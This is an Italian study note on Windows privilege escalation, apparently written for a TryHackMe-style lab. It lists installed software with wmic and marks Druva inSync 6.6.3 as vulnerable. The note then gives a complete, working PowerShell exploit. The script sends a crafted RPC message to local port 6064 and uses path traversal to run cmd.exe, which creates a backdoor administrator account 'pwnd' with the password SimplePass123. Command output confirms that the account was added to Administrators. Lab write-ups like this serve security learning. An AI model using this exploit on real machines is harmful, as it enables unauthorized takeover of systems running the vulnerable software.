tags: windows privilage_escalation Windows_Privilage_Escalation Software_Non_Aggiornati
Come prima cosa possiamo vedere tutti i software installati con il seguente comando:
wmic product get name,version,vendorC:\Users\thm-unpriv>wmic product get name,version,vendor
Name Vendor Version
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910 Microsoft Corporation 14.28.29910
AWS Tools for Windows Amazon Web Services Developer Relations 3.15.1248
VNC Server 6.8.0 RealVNC 6.8.0.45849
Amazon SSM Agent Amazon Web Services 3.0.529.0
aws-cfn-bootstrap Amazon Web Services 2.0.5
Druva inSync 6.6.3 Druva Technologies Pte. Ltd. 6.6.3.0
AWS PV Drivers Amazon Web Services 8.3.4
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910 Microsoft Corporation 14.28.29910Ricorda che il comando wmic product potrebbe non restituire tutti i programmi installati. A seconda di come sono stati installati, alcuni programmi potrebbero non essere elencati qui. Vale sempre la pena controllare i collegamenti sul desktop, i servizi disponibili o in generale qualsiasi traccia che indichi l’esistenza di software aggiuntivo che potrebbe essere vulnerabile.
Esempio
Abbiamo una versione vulnerabile di Druva, la 6.6.3, tramite questo software possiamo ottenere i privilegi di amministratore, ci basta incollare questo payload in una shell powershell:
PS C:\Users\thm-unpriv> $ErrorActionPreference = "Stop"
>>
>> $cmd = "net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add"
>>
>> $s = New-Object System.Net.Sockets.Socket(
>> [System.Net.Sockets.AddressFamily]::InterNetwork,
>> [System.Net.Sockets.SocketType]::Stream,
>> [System.Net.Sockets.ProtocolType]::Tcp
>> )
>> $s.Connect("127.0.0.1", 6064)
>>
>> $header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
>> $rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
>> $command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
>> $length = [System.BitConverter]::GetBytes($command.Length);
>>
>> $s.Send($header)
>> $s.Send($rpcType)
>> $s.Send($length)
>> $s.Send($command)Verificare che l’utente pwnd appena creato sia stato effettivamente aggiunto al gruppo amministratore:
net user pwnd
User name pwnd
Full Name
Account active Yes
[...]
Local Group Memberships *Administrators *Users
Global Group memberships *NoneEd eseguire la cmd come amminstratore inserendo la password che abbiamo messo all’utente pwnd cioè SimplePass123
